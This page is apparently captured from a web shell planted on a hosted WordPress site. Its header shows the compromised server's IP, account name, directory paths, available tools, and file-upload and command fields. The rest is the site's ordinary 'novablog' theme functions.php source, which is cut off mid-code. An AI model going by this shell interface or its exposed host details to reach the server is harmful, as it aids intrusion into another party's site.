403Webshell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.222
Web Server : Apache
System : Linux webm005.cluster103.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : karinebmkh ( 644538)
PHP Version : 8.4.22
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/karinebmkh/www2/wp-content/themes/novablog/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/karinebmkh/www2/wp-content/themes/novablog/functions.php
<?php
	if ( !function_exists('novablog_theme_setup')) {
		function novablog_theme_setup() {
		load_theme_textdomain( 'novablog', get_template_directory() . '/languages' );
        require_once get_template_directory() . '/admin-panel/admin-init.php';	
        add_theme_support( 'title-tag' );
		add_theme_support( 'automatic-feed-links' );
        add_filter('login_errors',create_function('$novablog_a', "return null;"));
	// Post Formats
	$novablog_formats = array( 
				'aside', 
				'gallery', 
				'link', 
				'image', 
				'quote', 
				'audio',
				'video');
	add_theme_support( 'post-formats', $novablog_formats ); 
	add_post_type_support( 'post', 'post-formats' );
		add_theme_support( 'customize-selective-refresh-widgets' );
			/*  Post Thumbnails  */
	if ( function_exists( 'add_image_size' ) ) {

		add_theme_support( 'post-thumbnails' );

		add_image_size( 'novablog-standard-large', 1170, '', false );
		add_image_size( 'novablog-standard-post', 840, '' );
		add_image_size( 'novablog-nextprev-thumb', 140, 140, true);
		add_image_size( 'novablog-mini-thumb', 100, 100, true);	
	}

	if ( function_exists( 'register_nav_menus' ) ) {
	  	register_nav_menus(
	  		array(
	  		  'primary-menu' => esc_html__( 'Primary Menu', 'novablog' ),
			  'top-menu' => esc_html__( 'Top Menu', 'novablog' ),
			  'mobile_menu' => esc_html__( 'Mobile Menu', 'novablog' ),
	  		  'footer_menu' => esc_html__( 'Footer Menu', 'novablog' )
	  		)
	  	);
	}

function novablog_author_posts( $link )
{
return str_replace( 'rel="author"', 'rel="author" class="url"', $link );
}
add_filter( 'the_author_posts_link', 'novablog_author_posts' );

}
}
add_action('after_setup_theme', 'novablog_theme_setup');
function novablog_content_width() {
	$GLOBALS['content_width'] = apply_filters( 'novablog_content_width', 800 );
}
add_action( 'after_setup_theme', 'novablog_content_width', 0 );


require_once get_template_directory() . '/includes/theme-function.php';
include_once get_template_directory() . '/includes/locals.php';

include_once get_template_directory() . '/includes/theme-pagemeta.php';

include_once get_template_directory() . '/includes/theme-postmeta.php';

function novablog_elegance_widgets_init() {
	
	register_sidebar(array(
		'name'					=> esc_html__( 'Sidebar', 'novablog'),
		'id' 					=> 'hs_main_sidebar',
		'description'   => esc_html__( 'Located at the right/left side of the pages.', 'novablog'),
		'before_widget' => '<div id="%1$s" class="widget %2$s"><div class="widget-content">',
		'after_widget' => '</div></div>',
		'before_title' => '<h4 class="subtitle">',
		'after_title' => '</h4>',
	));

	register_sidebar(array(
		'name'					=> esc_html__( 'Before the blog content', 'novablog'),
		'id' 					=> 'hs_before_blog',
		'description'   => esc_html__( 'Located the blog content', 'novablog'),
		'before_widget' => '<div id="%1$s" class="widget %2$s"><div class="widget-content">',
		'after_widget' => '</div></div>',
		'before_title' => '<h4 class="before_blog_title">',
		'after_title' => '</h4>',
	));

	register_sidebar(array(
		'name'					=> esc_html__( 'Top 0', 'novablog'),
		'id' 					=> 'hs_top_0',
		'description'   => esc_html__( 'Located at the top of the header.', 'novablog'),
		'before_widget' => '<div id="%1$s" class="top-widget-full %2$s">',
		'after_widget' => '</div>',
		'before_title' => '<div class="top_heading">',
		'after_title' => '</div>',
	));

	register_sidebar(array(
		'name'					=> esc_html__( 'Top 1', 'novablog'),
		'id' 					=> 'hs_top_1',
		'description'   => esc_html__( 'Located at the top left side of the header.', 'novablog'),
		'before_widget' => '<div id="%1$s" class="top-widget-left %2$s">',
		'after_widget' => '</div>',
		'before_title' => '<div class="top_heading">',
		'after_title' => '</div>',
	));
	
	register_sidebar(array(
		'name'					=> esc_html__( 'Top 2', 'novablog'),
		'id' 					=> 'hs_top_2',
		'description'   => esc_html__( 'Located at the top right side of the header.', 'novablog'),
		'before_widget' => '<div id="%1$s" class="top-widget-right %2$s">',
		'after_widget' => '</div>',
		'before_title' => '<div class="top_heading">',
		'after_title' => '</div>',
	));

	register_sidebar(array(
		'name'					=> esc_html__( 'Bottom 1', 'novablog'),
		'id' 					=> 'hs_bottom_1',
		'description'   => esc_html__( 'Located at the bottom of pages.', 'novablog'),
		'before_widget' => '<div id="%1$s" class="widget hs_bottom_1 %2$s"><div class="widget-content">',
		'after_widget' => '</div></div>',
		'before_title' => '<div class="footer_heading"><h4 class="before_blog_title">',
		'after_title' => '</h4></div>',
	));
	
	register_sidebar(array(
		'name'					=> esc_html__( 'Bottom 2', 'novablog'),
		'id' 					=> 'hs_bottom_2',
		'description'   => esc_html__( 'Located at the bottom of pages.', 'novablog'),
		'before_widget' => '<div id="%1$s" class="widget hs_bottom_2 %2$s"><div class="widget-content">',
		'after_widget' => '</div></div>',
		'before_title' => '<div class="footer_heading"><h4 class="before_blog_title">',
		'after_title' => '</h4></div>',
	));
	
	register_sidebar(array(
		'name'					=> esc_html__( 'Bottom 3', 'novablog'),
		'id' 					=> 'hs_bottom_3',
		'description'   => esc_html__( 'Located at the bottom of pages.', 'novablog'),
		'before_widget' => '<div id="%1$s" class="widget hs_bottom_3 %2$s"><div class="widget-content">',
		'after_widget' => '</div></div>',
		'before_title' => '<div class="footer_heading"><h4 class="before_blog_title">',
		'after_title' => '</h4></div>',
	));

	register_sidebar(array(
		'name'					=> esc_html__( 'Instagram', 'novablog'),
		'id' 					=> 'hs_instagram_area',
		'description'   => esc_html__( 'Located at the bottom of pages.', 'novablog'),
		'before_widget' => '<div class="instagram-widget %2$s">',
		'after_widget' => '</div>',
		'before_title' => '<h4>',
		'after_title' => '</h4>',
	));

	register_sidebar(array(
		'name'					=> esc_html__( 'Bottom 4', 'novablog'),
		'id' 					=> 'hs_bottom_4',
		'description'   => esc_html__( 'Located below instagram widget area.', 'novablog'),
		'before_widget' => '<div id="%1$s" class="widget hs_bottom_4 %2$s"><div class="widget-content">',
		'after_widget' => '</div></div>',
		'before_title' => '<div class="footer_heading"><h4 class="before_blog_title">',
		'after_title' => '</h4></div>',
	));

	register_sidebar(array(
		'name'					=> esc_html__( 'Under header', 'novablog'),
		'id' 					=> 'hs_under_header',
		'description'   => esc_html__( 'Located below the main menu.', 'novablog'),
		'before_widget' => '<div id="%1$s" class="widget widget_underheader %2$s"><div class="widget-content">',
		'after_widget' => '</div></div>',
		'before_title' => '<h4 class="before_blog_title">',
		'after_title' => '</h4>',
	));

	register_sidebar(array(
		'name'					=> esc_html__( 'Under header logo', 'novablog'),
		'id' 					=> 'hs_under_header_logo',
		'description'   => esc_html__( 'Located below the header logo.', 'novablog'),
		'before_widget' => '<div class="widget_underheaderlogo %2$s">',
		'after_widget' => '</div>',
		'before_title' => '',
		'after_title' => '',
	));

	register_sidebar(array(
		'name'					=> esc_html__( 'Under footer logo', 'novablog'),
		'id' 					=> 'hs_under_footer_logo',
		'description'   => esc_html__( 'Located below the footer logo.', 'novablog'),
		'before_widget' => '<div id="%1$s" class="widget_underfooterlogo %2$s">',
		'after_widget' => '</div>',
		'before_title' => '',
		'after_title' => '',
	));

	register_sidebar(array(
		'name'					=> esc_html__( 'Side panel', 'novablog'),
		'id' 					=> 'hs_side_panel',
		'description'   => esc_html__( 'It is a hidden panel located at the left side of page.', 'novablog'),
		'before_widget' => '<div id="%1$s" class="widget %2$s"><div class="widget-content">',
		'after_widget' => '</div></div>',
		'before_title' => '<h4 class="subtitle">',
		'after_title' => '</h4>',
	));

	register_sidebar(array(
		'name'					=> esc_html__( 'Ads', 'novablog'),
		'id' 					=> 'hs_ads',
		'description'   => esc_html__( 'It is a ads widget area.', 'novablog'),
		'before_widget' => '<div class="ads-widget"><div class="widget-ads-content">',
		'after_widget' => '</div></div>',
		'before_title' => '',
		'after_title' => '',
	));
		if ( function_exists( 'is_woocommerce' ) ) {
	register_sidebar(array(
		'name'					=> esc_html__( 'Woocommerce Sidebar', 'novablog'),
		'id' 					=> 'hs_woocommerce_sidebar',
		'description'   => esc_html__( 'Located at the right side of pages.', 'novablog'),
		'before_widget' => '<div id="%1$s" class="woocommerce-widget widget %2$s"><div class="widget-content">',
		'after_widget' => '</div></div>',
		'before_title' => '<h4 class="subtitle">',
		'after_title' => '</h4>',
	));
	}
}

add_action( 'widgets_init', 'novablog_elegance_widgets_init' );


if ( !function_exists( 'novablog_getVariable' ) ) :

function novablog_getVariable( $name = '', $key = '' ) {
  global $novablog_options;
  $hs_options = $novablog_options;
  $hs_var = '';
  if ( empty( $name ) && !empty( $hs_options ) ) {
	$hs_var = $hs_options;
  } else {
      if ( $key ) {
	  if ( !empty( $hs_options[$name][$key] ) ) {
        $hs_var = $hs_options[$name][$key];
      }else {
        $hs_var = '';
      }
	  }else {
    if ( !empty( $hs_options[$name] ) ) {
	$hs_var = $hs_options[$name];
 } else {
$hs_var = '';
}
}
}
return $hs_var;
}
endif;



/*	Register styles andjavascript
/*-----------------------------------------------------------------------------------*/
add_action('wp_enqueue_scripts', 'novablog_print_script_footer');

function novablog_print_script_footer() {
//bootstrap framework
	wp_enqueue_style( 'bootstrap', get_theme_file_uri( '/bootstrap/bootstrap.min.css' ), array(), null );
// Theme stylesheet.
	wp_enqueue_style( 'novablog-style', get_stylesheet_uri() );
//WooCommerce custom style
    if (class_exists( 'WooCommerce' )) {
	wp_enqueue_style( 'novablog-woocommerce', get_theme_file_uri( '/hs-woocommerce.css' ), array( 'novablog-style' ), '1.0' );
	wp_register_script( 'novablog-menucart', get_template_directory_uri() . '/woocommerce-scripts/js/woocommerce-novablog.js', array() , '1.0', 'all');
	
	
			wp_localize_script( 'novablog-menucart', 'novablogShop', apply_filters(
				'novablog_shop_js_vars',
				array(
					'cartUrl' => WC()->cart->get_cart_url(),
					'redirect'=> false,
					'theme_url'=>get_template_directory_uri(),
					'version'=> wp_get_theme()->display( 'Version' )
				)
			)
		);
	
	wp_enqueue_script( 'novablog-menucart' );
	}

wp_enqueue_script( 'novablog-global', get_theme_file_uri( '/js/jquery.plugins.js' ), array( 'jquery' ), '1.0', true );

global $novablog_options;
if (empty($novablog_options)) {
function novablog_fonts_without_redux() {
$fonts_url = '';
$playfair = esc_html_x( 'on', 'Playfair Display font: on or off', 'novablog' );
$poppins = esc_html_x( 'on', 'Poppins font: on or off', 'novablog' );
 
if ( 'off' !== $playfair || 'off' !== $poppins ) {
$font_families = array();
 
if ( 'off' !== $playfair ) {
$font_families[] = 'Playfair Display:400';
}
 
if ( 'off' !== $poppins ) {
$font_families[] = 'Poppins:400';
}
 
$query_args = array(
'family' => urlencode( implode( '|', $font_families ) ),
'subset' => urlencode( 'latin,latin-ext' ),
);
 
$fonts_url = add_query_arg( $query_args, '//fonts.googleapis.com/css' );
}
 
return esc_url_raw( $fonts_url );
}
wp_enqueue_style( 'novablog-fonts-without-redux', novablog_fonts_without_redux(), array(), null );
wp_enqueue_style( 'novablog-reset', get_theme_file_uri( '/reset.css' ), array( 'novablog-style' ), '1.0' );
}
// Localize the infinitescroll with new data
$novablog_infinitescroll_data = array(
	'load_more' => esc_html__('Load more', 'novablog'),
    'you_reached_the_end' => esc_html__('No more items to load.', 'novablog'),
	'offset' => isset($novablog_options['loadmore_offset']) ? $novablog_options['loadmore_offset'] : '0', 
	'pagination_type' => isset($novablog_options['pagination_type']) ? $novablog_options['pagination_type'] : 'pagnum',
);
wp_localize_script( 'novablog-global', 'inf_var', $novablog_infinitescroll_data );

if (novablog_getVariable('header_position')== 'stickyheader') { 
wp_enqueue_script( 'novablog-animatedHeader', get_theme_file_uri( '/js/AnimatedHeader.js' ), array( 'jquery' ), '1.0', true );
}
if (novablog_getVariable('blog_sidebar_pos')=='metro' or novablog_getVariable('blog_sidebar_pos')=='masonry2' or novablog_getVariable('blog_sidebar_pos')=='masonry3' or novablog_getVariable('blog_sidebar_pos')=='masonry4' or novablog_getVariable('blog_sidebar_pos')=='masonry2sideright' or novablog_getVariable('blog_sidebar_pos')=='masonry2sideleft' or is_page_template( 'page-gallery.php' ) or is_tax('gallery_categories') or novablog_getVariable('blog_cat_sidebar_pos')=='masonry2' or novablog_getVariable('blog_cat_sidebar_pos')=='masonry3' or novablog_getVariable('blog_cat_sidebar_pos')=='masonry4' or is_page_template( 'page-archives.php' ) ) {
wp_enqueue_script('masonry');
}
		
wp_enqueue_script( 'novablog-theme-script',	get_theme_file_uri( '/includes/main-menu/js/novablog.mega-menu.js' ), array( 'jquery' ), '1.0', true );
		// Inject variable values in gallery script
		wp_localize_script( 'novablog-theme-script', 'novablogScript',
			array(
				'fixedHeader' 	=> 'fixed-header',
				'ajax_nonce'   	=> wp_create_nonce('ajax_nonce'),
				'ajax_url'	   	=> admin_url( 'admin-ajax.php' ),
				'events'		=> novablog_is_touch() ? 'click' : 'mouseenter',
				'top_nav_side'  => is_rtl() ? 'right' : 'left',
				'main_nav_side' => is_rtl() ? 'left' : 'right'
			)
		);
novablog_admin_css();
novablog_category_images();
novablog_parallax_images();
}


// category images
if ( ! function_exists( 'novablog_category_images' ) ) {
  function novablog_category_images() {

    if ( is_category() ) {

      $category = get_category( get_query_var( 'cat' ) );
$cat_id = $category->cat_ID;
$image_id = get_term_meta ( $cat_id, 'novablog-category-image-id', true );

if (!empty($image_id)) {
$thumbnail = wp_get_attachment_image_src($image_id, 'full');
$bgimage = esc_url($thumbnail[0]);
    $custom_css = ".parallax-image{background-image: url(\"{$bgimage}\");}";
    wp_add_inline_style( 'novablog-style', $custom_css );
	}
      
    }
  }
}

//parallax post-page
if ( ! function_exists( 'novablog_parallax_images' ) ) {
  function novablog_parallax_images() {
global $post;
$novablog_standard_modern_layout = get_post_meta(get_the_ID(), 'novablog_standard_layout_format', true);
if((is_page_template('page-fullwidth-wide-parallax-image.php') && has_post_thumbnail()) or (is_single() && has_post_thumbnail() && $novablog_standard_modern_layout == esc_html__('modern','novablog'))){
$novablog_feat_image = wp_get_attachment_url( get_post_thumbnail_id($post->ID) );

if ($novablog_feat_image) {
    $custom_css = ".parallax-image{background-image: url(\"{$novablog_feat_image}\");}";
    wp_add_inline_style( 'novablog-style', $custom_css );
	}
      
    }
  }
}


if ( ! function_exists('novablog_admin_css') ) {
function novablog_admin_css(){
ob_start();
ob_clean(); 
global $novablog_options;

 if(isset($novablog_options['hs_container_size'])) {
				echo '@media (min-width: 1200px) {.container{max-width: '.$novablog_options['hs_container_size'].'px;}}';
				}
if(isset($novablog_options['main_layout']) && isset($novablog_options['hs_container_size'])){
if($novablog_options['main_layout']== 'boxed'){
$val = intval($novablog_options['hs_container_size']) + 30;
echo '.boxed .main-holder, .boxed .novablog-cookie-banner-wrap {max-width: '.$val.'px;}';
}
}
if(isset($novablog_options['slideshow_layout']) && $novablog_options['slideshow_layout'] == 'grid'){ 
if($novablog_options['slideshow_margin']){
$val = $novablog_options['slideshow_margin'];
echo '.owl-slide .cover-wrapper.slide-sub-item-large {border-right-width: '.$val.'px;}';
$val_mr = $val / 2;
echo '.owl-slide .cover-wrapper.slide-sub-item-small.middle {border-bottom-width: '.$val_mr.'px;}';
echo '.owl-slide .cover-wrapper.slide-sub-item-small.last {border-top-width: '.$val_mr.'px;}';
}else{
echo '.owl-slide .cover-wrapper.slide-sub-item-large {border-right-width: 0px;}';
echo '.owl-slide .cover-wrapper.slide-sub-item-small.middle {border-bottom-width: 0px;}';
echo '.owl-slide .cover-wrapper.slide-sub-item-small.last {border-top-width: 0px;}';
}
if($novablog_options['slideshow_thumbheight']){
$thumb_height = $novablog_options['slideshow_thumbheight'];
$thumb_height_small = $thumb_height / 2;
echo '.owl-slide .cover-wrapper.slide-sub-item-large {height: '.$thumb_height.'px;}';
echo '.owl-slide .cover-wrapper.slide-sub-item-small {height: '.$thumb_height_small.'px;}';
}
}
 if(isset($novablog_options['header_logo_width'])) {
				echo '.logo img {width:'.$novablog_options['header_logo_width'].'px;}';
				}else{echo '.logo img {width:400px;}';};
 if(isset($novablog_options['footer_logo_width'])) {
				echo '.footer-logo .logo img {width:'.$novablog_options['footer_logo_width'].'px;}';
				}else{echo '.footer-logo .logo img {width:400px;}';};
				
if(isset($novablog_options['bgmenu_color']['rgba'])) {
				echo '.sticky-wrapper, #primary, .sticky-nav.navbar-fixed-top, .top-container-normal {background:'.$novablog_options['bgmenu_color']['rgba'].'}';
				}else{echo '.sticky-wrapper, #primary, .sticky-nav.navbar-fixed-top, .top-container-normal {background:#ffffff;}';};	
				
 if(isset($novablog_options['lineabove_color'])) {
				echo '#primary {border-top-color:'.$novablog_options['lineabove_color'].'}';
				}else{echo '#primary {border-top-color:#eeeeee;}';}
 if(isset($novablog_options['linebelow_color'])) {
				echo '#primary {border-bottom-color:'.$novablog_options['linebelow_color'].'}';
				}else{echo '#primary {border-bottom-color:#eeeeee;}';}
 if(isset($novablog_options['lineabove_border_thick'])) {
				echo '#primary {border-top-width:'.$novablog_options['lineabove_border_thick'].'px;}';
				}else{echo '#primary {border-top-width:1px;}';}
 if(isset($novablog_options['linebelow_border_thick'])) {
				echo '#primary {border-bottom-width:'.$novablog_options['linebelow_border_thick'].'px;}';
				}else{echo '#primary {border-bottom-width:4px;}';}
 if(isset($novablog_options['footerline_color'])) {
				echo '.lowestfooter {border-top-color:'.$novablog_options['footerline_color'].'}';
				}else{echo '.lowestfooter {border-top-color:#eeeeee;}';}
			if(isset($novablog_options['overlay_color']['rgba'])) {
				echo '.header-overlay {background:'.$novablog_options['overlay_color']['rgba'].'}';
				}else{echo '.header-overlay {background: rgba(255,255,255,0.6);}';}
				if(isset($novablog_options['post_overlay_color']['rgba'])) {
				echo '.parallax-image .header-overlay, .parallax-image:before {background:'.$novablog_options['post_overlay_color']['rgba'].'}';
				}else{echo '.parallax-image .header-overlay, .parallax-image:before {background: rgba(0,0,0,0.19);}';}
				if(isset($novablog_options['mainmenu_submenu_border_color']['border-top'])) {
				echo '#primary-menu ul li:not(.novablog-widget-menu) > ul {top:-'.$novablog_options['mainmenu_submenu_border_color']['border-top'].'}';
				} 
				
						if(isset($novablog_options['slideshow_overlay_color']['rgba'])) {
				echo '.cover:before {background: '.$novablog_options['slideshow_overlay_color']['color'].'} .cover:before{opacity: '.$novablog_options['slideshow_overlay_color']['alpha'].';}';
				}else{echo '.cover:before {background: rgba(0,0,0,0.15);}';}

			if (isset($novablog_options['body_background'])) {
			echo 'body { ';
				if (isset($novablog_options['body_background']['background-image']) && !empty($novablog_options['body_background']['background-image'])) {
					echo 'background-image:url("'.$novablog_options['body_background']['background-image']. '"); background-repeat:'.$novablog_options['body_background']['background-repeat'].'; background-position:'.$novablog_options['body_background']['background-position'].';  background-attachment:'.$novablog_options['body_background']['background-attachment'].'; background-size:'.$novablog_options['body_background']['background-size'].';';
				}
				if($novablog_options['body_background']['background-color'] != '') {
					echo 'background-color:'.$novablog_options['body_background']['background-color']. ';';
				}
				echo '}';
			}
if (isset($novablog_options['custom_css'])) {
		echo wp_kses_post( $novablog_options['custom_css']); 
}
if(isset($novablog_options['global_color'])) {
			if($novablog_options['global_color']) {
				echo '.post_category:after, .hs_aboutme_text span, .slide-category span, .widget-content h4.subtitle span, .nav-tabs > li.active > a, .nav-tabs > li.active > a:hover, .nav-tabs > li.active > a:focus, .title-section span, .heading-entrance span {border-top-color:'.$novablog_options['global_color'].'}';
				}else{echo '.post_category:after, .hs_aboutme_text span, .widget-content h4.subtitle span, .slide-category span, .nav-tabs > li.active > a, .nav-tabs > li.active > a:hover, .nav-tabs > li.active > a:focus, .title-section span, .heading-entrance span {border-top-color:#eeeeee}';};
				
			if($novablog_options['global_color']) {
				echo '.error404-holder_num, .twitter-list i, .hercules-likes:hover:before, .hercules-likes.active:before {color:'.$novablog_options['global_color'].'}';
				}else{echo '.error404-holder_num {color:#222222}';};
			
			if($novablog_options['global_color']) {
				echo '.icon-menu .icon-menu-count, .audioplayer-bar-played, .audioplayer-volume-adjust div div, #back-top a:hover span, .list-post .post_category a, .post .post_category a, .owl-carousel .owl-dots .owl-dot.active span, .owl-carousel .owl-dots .owl-dot:hover span, .link-image a .link-wrapper, .widget_calendar tbody a, .text-highlight, div.jp-play-bar, div.jp-volume-bar-value, .progress .bar, .novablog-cart .badge, .mobile-shopping-cart .badge, .share-buttons .heart span {background:'.$novablog_options['global_color'].'}';
				}else{echo '.icon-menu .icon-menu-count, .audioplayer-bar-played, .audioplayer-volume-adjust div div, #back-top a:hover span, .list-post .post_category a, .post .post_category a, .widget_calendar tbody a, .text-highlight, div.jp-play-bar, div.jp-volume-bar-value, .progress .bar, .share-buttons .heart span {background:#222222}';};
			
            if($novablog_options['global_color']) {
				echo '.hs_recent_popular_tab_widget_content .tab_title.selected a, .search-option-tab li:hover a,.search-option-tab li.active a {border-bottom: 1px solid '.$novablog_options['global_color'].'}';
				}else{echo '.hs_recent_popular_tab_widget_content .tab_title.selected a, .search-option-tab li:hover a,.search-option-tab li.active a {border-bottom: 1px solid #222222}';};				
}
 if(isset($novablog_options['mainmenu_submenu_link_color'])) {
if($novablog_options['mainmenu_submenu_link_color']['hover']) {
				echo '#primary-menu ul li:hover > a, #primary-menu .has-mega-column > .sub-menu a:hover, #primary-menu .has-mega-column > .sub-menu > .columns-sub-item > a:hover { color:'.$novablog_options['mainmenu_submenu_link_color']['hover'].'}';
				}else{echo '#primary-menu ul li:hover > a, #primary-menu .has-mega-column > .sub-menu a:hover, #primary-menu .has-mega-column > .sub-menu > .columns-sub-item > a:hover { color:#bbbbbb}';};

if($novablog_options['mainmenu_submenu_link_color']['active']) {
				echo '#primary-menu ul li.current-menu-item > a, #primary-menu .has-mega-column > .sub-menu .current-menu-item > a { color:'.$novablog_options['mainmenu_submenu_link_color']['active'].'}';
				}else{echo '#primary-menu ul li.current-menu-item > a, #primary-menu .has-mega-column > .sub-menu .current-menu-item > a { color:#bbbbbb}';};				
}
if(isset($novablog_options['mainmenu_submenu_button_color'])) {
if($novablog_options['mainmenu_submenu_button_color']['regular']) {
				echo '#primary-menu li ul li a, #primary-menu .has-mega-column > .sub-menu a { background:'.$novablog_options['mainmenu_submenu_button_color']['regular'].'}';
				}else{echo '#primary-menu li ul li a, #primary-menu .has-mega-column > .sub-menu a { background:#ffffff}';
				};	
				
if($novablog_options['mainmenu_submenu_button_color']['hover']) {
				echo '#primary-menu ul li:hover > a, #primary-menu .has-mega-column > .sub-menu a:hover {background:'.$novablog_options['mainmenu_submenu_button_color']['hover'].'}';
				}else{echo '#primary-menu ul li:hover > a, #primary-menu .has-mega-column > .sub-menu a:hover {background:#ffffff}';};	
				
if($novablog_options['mainmenu_submenu_button_color']['active']) {
				echo '#primary-menu ul li.current-menu-item > a, #primary-menu .has-mega-column > .sub-menu .current-menu-item > a {background:'.$novablog_options['mainmenu_submenu_button_color']['active'].'}';
				}else{echo '#primary-menu ul li.current-menu-item > a, #primary-menu .has-mega-column > .sub-menu .current-menu-item > a {background:#ffffff}';};
				}
if(isset($novablog_options['mainmenu_current_button_color'])) {
if($novablog_options['mainmenu_current_button_color']['hover']) { 
				echo '#primary-menu > li > a:hover, #primary-menu > li.current-menu-item > a, #primary-menu > li.current-menu-ancestor > a, #primary-menu li:hover > a, #primary-menu .mega-menu-posts .post a:hover { color:'.$novablog_options['mainmenu_current_button_color']['hover'].'}';
				}else{echo '#primary-menu > li > a:hover, #primary-menu > li.current-menu-item > a, #primary-menu > li.current-menu-ancestor > a, #primary-menu li:hover > a, #primary-menu .mega-menu-posts .post a:hover { color:#bbbbbb;}';};		
				
if($novablog_options['mainmenu_current_button_color']['active']) {
				echo '#primary-menu > li.current-menu-item > a, #primary-menu > li.current-menu-ancestor > a { color:'.$novablog_options['mainmenu_current_button_color']['active'].'}';
				}else{echo '#primary-menu > li.current-menu-item > a, #primary-menu > li.current-menu-ancestor > a { color:#bbbbbb;}';};
				}
if(isset($novablog_options['mainmenu_button_bg_color'])) {
if($novablog_options['mainmenu_button_bg_color']['regular'] && $novablog_options['mainmenu_button_bg_color_transparent'] != 'yes') {
				echo '#primary-menu > li > a {background:'.$novablog_options['mainmenu_button_bg_color']['regular'].'}';
  }else{echo '#primary-menu > li > a {background:transparent;}';};
  
if($novablog_options['mainmenu_button_bg_color']['hover'] && $novablog_options['mainmenu_button_bg_color_transparent'] != 'yes') {
				echo '#primary-menu > li > a:hover, #primary-menu > li.current-menu-item > a, #primary-menu > li.current-menu-ancestor > a, #primary-menu li:hover > a { background:'.$novablog_options['mainmenu_button_bg_color']['hover'].'}';
				}else{echo '#primary-menu > li > a:hover, #primary-menu > li.current-menu-item > a, #primary-menu > li.current-menu-ancestor > a, #primary-menu li:hover > a { background:transparent;}';};	

if($novablog_options['mainmenu_button_bg_color']['active'] && $novablog_options['mainmenu_button_bg_color_transparent'] != 'yes') {
				echo '#primary-menu > li.current-menu-item > a, #primary-menu > li.current-menu-ancestor > a { background:'.$novablog_options['mainmenu_button_bg_color']['active'].'}';
				}else{echo '#primary-menu > li.current-menu-item > a, #primary-menu > li.current-menu-ancestor > a { background:transparent;}';};	
}
if(isset($novablog_options['mainmenu_submenu_bg_color'])) {
				echo '#primary-menu .sub-menu, #primary-menu .has-mega-sub-menu .mega-sub-menu, #primary-menu .has-mega-column > .sub-menu, #cart-wrap {background:'.$novablog_options['mainmenu_submenu_bg_color'].'}';
				}else{echo '#primary-menu .sub-menu, #primary-menu .has-mega-sub-menu .mega-sub-menu, #primary-menu .has-mega-column > .sub-menu, #cart-wrap {background:#ffffff;}';};	

if(isset($novablog_options['mainmenu_button_active_border_color'])) {
				echo '#primary-menu > li.current-menu-ancestor, #primary-menu > li:hover, #primary-menu > li.current_page_item, #primary-menu > li.current-menu-item {border-top: 1px solid '.$novablog_options['mainmenu_button_active_border_color'].';}';
				}else{echo '#primary-menu > li.current-menu-ancestor, #primary-menu > li:hover, #primary-menu > li.current_page_item, #primary-menu > li.current-menu-item {border-top: 1px solid #000000;}';};
				
if(isset($novablog_options['mainmenu_submenu_button_border_bottom_color'])) {
				echo '#primary-menu ul li a, #primary-menu .has-mega-sub-menu .mega-sub-menu ul, #primary-menu .has-mega-column > .sub-menu > .columns-sub-item > a, #cart-wrap {border-color:'.$novablog_options['mainmenu_submenu_button_border_bottom_color'].'}';
				}else{echo '#primary-menu ul li a, #primary-menu .has-mega-sub-menu .mega-sub-menu ul, #primary-menu .has-mega-column > .sub-menu > .columns-sub-item > a, #cart-wrap {border-bottom-color:#eeeeee;}';};	

				if(isset($novablog_options['topmenu_submenu_bg_color']['rgba'])) {
				echo '#top-menu ul {background:'.$novablog_options['topmenu_submenu_bg_color']['rgba'].'}';
				}else{echo '#top-menu ul {background:#ffffff;}';};	
				
if(isset($novablog_options['topmenu_submenu_button_border_bottom_color'])) {
				echo '#top-menu ul a, #top-menu .current_page_item ul a, #top-menu ul .current_page_item a, #top-menu .current-menu-item ul a, #top-menu ul .current-menu-item a, #top-menu li:hover > ul a {border-color:'.$novablog_options['topmenu_submenu_button_border_bottom_color'].'}';
				}else{echo '#top-menu ul a, #top-menu .current_page_item ul a, #top-menu ul .current_page_item a, #top-menu .current-menu-item ul a, #top-menu ul .current-menu-item a, #top-menu li:hover > ul a {border-bottom-color:#eeeeee;}';};
if(isset($novablog_options['top_container_bg_color'])) {
				echo '.top-border {background:'.$novablog_options['top_container_bg_color'].'}';
				}else{echo '.top-border {background:#ffffff;}';};	

				if(isset($novablog_options['modern_post_meta_text_color'])) {
				echo '.modern-layout .meta-space-top a, .modern-layout .meta-space-top, .modern-layout .post_category a, .modern-layout .meta-space-top, .parallax-image .category-box span, .parallax-image .category-filter a, .parallax-image .cat-des, .parallax-image .title-section h2 {color:'.$novablog_options['modern_post_meta_text_color'].'}';
				}else{echo '.modern-layout .meta-space-top a, .modern-layout .meta-space-top, .modern-layout .post_category a, .modern-layout .meta-space-top, .parallax-image .category-box span, .parallax-image .category-filter a, .parallax-image .cat-des, .parallax-image .title-section h2 {color:#000000;}';};
 if(isset($novablog_options['modern_post_title_text_color'])) {
				echo '.modern-layout h1.post-title, .parallax-image .title-section h1 {color:'.$novablog_options['modern_post_title_text_color'].'}';
				}else{echo '.modern-layout h1.post-title, .parallax-image .title-section h1 {color:#000000;}';};

 if(isset($novablog_options['featured_badge_text_color'])) {
				echo '.ribbon-featured {color:'.$novablog_options['featured_badge_text_color'].'}';
				}else{echo '.ribbon-featured {color:#ffffff;}';};	
 if(isset($novablog_options['featured_badge_bg_color'])) {
				echo '.ribbon-featured {background:'.$novablog_options['featured_badge_bg_color'].'}';
				}else{echo '.ribbon-featured {background:#000000;}';};				

				if (isset($novablog_options['buttons_color']) && $novablog_options['buttons_color']['hover']) { 
echo '.category-filter ul li.current-cat a { color: '.$novablog_options['buttons_color']['hover'].'}';
}
if (isset($novablog_options['buttons_color'])) {
if ($novablog_options['buttons_border_color']['regular']) { 
			echo '#cart-wrap .but-cart, .sidebar .social__list a, .footer .social__list a, .footer .social__list_both a, .sidebar .social__list_both a, .footer .instagram-footer .readmore-button a, a.btn, a.comment-reply-link, input[type="submit"], .category-filter ul li a, .woocommerce #review_form #respond .form-submit input, .woocommerce .widget_price_filter .price_slider_amount .button, .woocommerce div.product form.cart .button, .woocommerce #respond input#submit, .woocommerce #respond input#submit.alt, .woocommerce a.button, .woocommerce a.button.alt, .woocommerce button.button.alt, .woocommerce input.button.alt, .woocommerce button.button, .woocommerce input.button { border-color: '.$novablog_options['buttons_border_color']['regular'].'}';
